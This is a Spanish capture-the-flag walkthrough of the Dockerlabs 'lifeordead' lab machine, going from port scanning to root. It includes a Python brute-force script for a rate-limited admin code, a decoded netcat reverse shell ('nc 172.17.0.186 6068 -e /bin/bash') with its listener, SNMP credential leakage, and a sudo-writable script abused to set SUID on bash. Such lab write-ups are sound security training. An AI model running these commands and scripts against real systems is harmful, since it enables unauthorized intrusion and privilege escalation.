Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unziplifeordead.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.shlifeordead.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Si vemos la pagina del puerto 80 vemos que es una pagina normal de apache2, que si inspeccionamos la pagina el codigo, vemos algo raro en el CSS viendo lo siguiente:
Y despues en la siguiente parte vemos un nombre que no viene por defecto en apache2 que es lo siguiente:
Vemos que tenemos el nombre de admin y despues lo que parece una contraseña codificada en Base64, que si la decodificamos veremos lo siguiente:
Si bajamos un poco mas en el codigo, veremos un dominio el cual probaremos a entrar con el:
Haremos lo siguiente:
Guardamos y ponemos lo siguiente en la URL.
Veremos un login, pero recordemos que obtuvimos unas credenciales las cuales probaremos a meter en el login:
Y veremos que entramos en una especie de Admin panel en el que tendremos que meter un codigo para identificarnos como el usuario administrador, pero como no lo sabemos podemos probar fuerza bruta, tambien tenemos que ver que tenemos 10 intentos y pasados dichos intentos se nos bloqueara unos 30 segundos hasta poder obtener 10 intentos mas, por lo que nos montaremos un script con todas estas caracteristicas.
Pero tendremos que poner la URL donde se esta validando todo esto del codigo y si inspeccionamos el codigo de la pagina, veremos que se esta validando en este .php que esta en el javascript:
Fuerza bruta del codigo admin
bruteForceCode.py
Lo guardamos y ejecutamos de la siguiente forma:
Info:
Vemos que despues de un rato encontramos el codigo que sera el 0081, el cual si lo introducimos veremos que entramos en una pagina la cual nos muestra una clave secreta que tendremos que guardarnos y tendremos 60 segundos para poder guardarnosla.
Vemos que puede ser una posible contraseña para algun usuario del sistema, si enumeramos un poco mas en la pagina llamada pageadmincodelogin.html vemos que hay un nombre como comentario:
Escalate user dimer
Si intentamos crackear la contraseña de MD5, veremos que no podremos, pero si la utilizamos de normal con el propio hash veremos que pasa:
Metemos como contraseña bbb2c5e63d2ef893106fdd0d797aa97a y veremos que estamos dentro, por lo que leeremos la flag del usuario:
user.txt
Escalate user bilter
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar /opt/life.sh como el usuario bilter, por lo que haremos lo siguiente:
Si vemos que tiene por dentro el script, veremos esto:
Vemos que esta ofuscado el codigo, gran parte en hexadecimal, pero si lo decodificamos veremos el codigo de la siguiente forma:
e="nc": Es el comando netcat, usado para establecer conexiones de red.
f="-e": La opción -e de netcat ejecuta un programa al recibir una conexión (en este caso, /bin/bash).
g=$c: Dirección IP objetivo (descompuesta previamente como 172.17.0.186).
h=$d: Puerto objetivo (descompuesto previamente como 6068).
Comando completo:
nc 172.17.0.186 6068 -e /bin/bash &>/dev/null &
Decodificación Completa
El script:
Calcula la dirección IP y el puerto a partir de operaciones XOR.
Usa netcat para conectarse a la IP 172.17.0.186 en el puerto 6068.
Ejecuta /bin/bash para ofrecer una shell remota al atacante.
El codigo se veria algo parecido a esto:
Por lo que vemos esta ejecutando un nc para crear una shell a una IP y puerto en concreto, por lo que haremos lo siguiente:
En nuestro host añadiremos la IP que esta en el script de la siguiente forma:
Y una vez que ya hayamos añadido la IP, nos pondremos a la escucha con el siguiente puerto:
En la maquina victima ejecutamos lo siguiente:
Y ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
Vemos que somos dicho usuario.
Sanitización de shell (TTY)
Escalate user purter
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el script /usr/local/bin/dead.sh como el usuario root, por lo que haremos lo siguiente:
Vemos que no podemos leer el script, pero si lo ejecutamos vemos lo siguiente:
Info:
Y solo vemos este numero, podemos deducir que puede ser algun puerto que se haya levantado o algo parecido, vamos a comprobar si el puerto 161 esta levantado por TCP, pero veremos que no lo esta, por lo que probaremos por UDP y aqui veremos que si lo esta:
Info:
Vemos que efectivamente esta abierto, por lo que vamos a probar a ver si se puede enumerar con la siguiente herramienta.
Info:
Vemos que en la siguiente parte pone lo siguiente:
Vemos que es un cifrado en Base64, si lo decodificamos veremos lo siguiente:
Por lo que podremos intuir que la contraseña puede ser del usuario purter, por lo que haremos lo siguiente:
Metemos como contraseña imposiblepassworduserfinal y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el script /home/purter/.script.sh como el usuario root, por lo que haremos lo siguiente.
Vemos que el script esta en nuestra home, por lo que podremos eliminarlo y poner con el mismo nombre el contenido que queramos de la siguiente forma:
Guardamos y lo ejecutamos de la siguiente forma:
Ahora si probamos a ver los permisos que tiene la bash veremos lo siguiente:
Info:
Vemos que se aplico de forma correcta el SUID a la bash, por lo que haremos lo siguiente:
Info:
Vemos que haciendo esto ya seremos root, por lo que leeremos la flag de root.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 05:31 EST
Nmap scan report for 172.17.0.3
Host is up (0.000036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:c3:e7:47:85:79:ce:e9:e6:1f:dd:43:37:9b:aa:a5 (ECDSA)
|_ 256 4d:80:5f:fa:24:fa:c3:70:fc:bd:39:d8:e7:5b:c7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
nano /etc/hosts
#Dentro del nano
<IP> lifeordead.dl
URL = http://lifeordead.dl/
User: admin
Pass: PASSWORDADMINSUPERSECRET
async function submitCode(event) {
event.preventDefault();
const formData = new FormData(event.target);
const response = await fetch('pageadmincodeloginvalidation.php', {
method: 'POST',
body: formData,
});
const data = await response.json();
#!/bin/python3
import requests
import time
# URL del formulario PHP que maneja el código
url = 'http://lifeordead.dl/pageadmincodeloginvalidation.php'
# La sesión se mantiene abierta para manejar cookies y encabezados
session = requests.Session()
# Función para enviar el código
def send_code(code):
# Creamos el payload con el código
payload = {'code': code}
response = session.post(url, data=payload)
return response
# Función para realizar el ataque de fuerza bruta
def brute_force():
max_attempts = 10 # Intentos máximos
block_time = 30 # Tiempo de bloqueo en segundos
attempts_left = max_attempts # Intentos restantes que se actualizan según el servidor
current_code = 0 # Empezamos con el código 0000
while True:
code_str = f'{current_code:04}' # Formateamos el código con 4 dígitos
print(f"Intentando código: {code_str}")
# Enviar el código al servidor
response = send_code(code_str)
if response.status_code == 200:
try:
data = response.json() # Parsear la respuesta JSON
except ValueError as e:
print("Error al procesar la respuesta JSON:", e)
return False
# Si el código es correcto
if data.get('status') == 'success':
print(f"¡Código correcto encontrado! El código es {code_str}")
return True # Código correcto encontrado
# Si el código es incorrecto
elif data.get('status') == 'failed':
attempts_left = data.get('attempts') # Actualizamos los intentos restantes según el servidor
print(f"Intento fallido. Intentos restantes: {attempts_left}")
# Si está bloqueado
elif data.get('status') == 'blocked':
remaining_time = data.get('remainingTime')
print(f"Estás bloqueado, esperando {remaining_time} segundos...")
time.sleep(remaining_time + 1) # Esperamos el tiempo de bloqueo
print("Reintentando...")
# Si el código no es válido (no tiene 4 dígitos o es incorrecto)
elif data.get('status') == 'invalid':
print("El código debe ser de 4 dígitos. Reintenta.")
else:
print(f"Error al enviar el código, estado {response.status_code}")
# Esperamos un segundo entre cada intento para evitar hacer peticiones muy rápidas
time.sleep(1)
# Incrementamos el código para el siguiente intento
current_code += 1
if __name__ == '__main__':
print("Iniciando ataque de fuerza bruta para encontrar el código...")
brute_force()
Matching Defaults entries for dimer on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dimer may run the following commands on dockerlabs:
(bilter : bilter) NOPASSWD: /opt/life.sh
#!/bin/bash
set +m
# Dirección IP y puerto calculados explícitamente
c="172.17.0.186" # Dirección IP
d=6068 # Puerto
# Comando para iniciar una conexión usando netcat
e="nc"
f="-e"
g=$c
h=$d
# Establecer conexión con una shell inversa
$e $g $h $f /bin/bash &>/dev/null &
sudo ip addr add 172.17.0.186/16 dev docker0
nc -lvnp 6068
sudo -u bilter /opt/life.sh
listening on [any] 6068 ...
connect to [172.17.0.186] from (UNKNOWN) [172.17.0.3] 39342
whoami
bilter
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for bilter on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bilter may run the following commands on dockerlabs:
(ALL : ALL) NOPASSWD: /usr/local/bin/dead.sh
sudo /usr/local/bin/dead.sh
161
nmap -sU -p161 --script=snmp* <IP>
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 06:08 EST
Nmap scan report for lifeordead.dl (172.17.0.3)
Host is up (0.000091s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 7f3cbe5245328e6700000000
| snmpEngineBoots: 12
|_ snmpEngineTime: 3m57s
| snmp-sysdescr: Linux dockerlabs 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
|_ System uptime: 3m58.58s (23858 timeticks)
| snmp-brute:
|_ public - Valid credentials
MAC Address: 02:42:AC:11:00:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds
snmpwalk -v2c -c public <IP>
iso.3.6.1.2.1.1.1.0 = STRING: "Linux dockerlabs 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (35621) 0:05:56.21
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@lifeordead.dl>"
iso.3.6.1.2.1.1.5.0 = STRING: "dockerlabs"
iso.3.6.1.2.1.1.6.0 = STRING: "This port must be disabled aW1wb3NpYmxlcGFzc3dvcmR1c2VyZmluYWw="
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (317827) 0:52:58.27
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 15 0C 0A 27 00 2B 01 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.8.11-amd64 root=UUID=83f637c8-5a20-46ef-a18a-c151451da541 ro quiet splash
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 17
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
iso.3.6.1.2.1.1.6.0 = STRING: "This port must be disabled aW1wb3NpYmxlcGFzc3dvcmR1c2VyZmluYWw="
imposiblepassworduserfinal
su purter
Matching Defaults entries for purter on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User purter may run the following commands on dockerlabs:
(ALL : ALL) NOPASSWD: /home/purter/.script.sh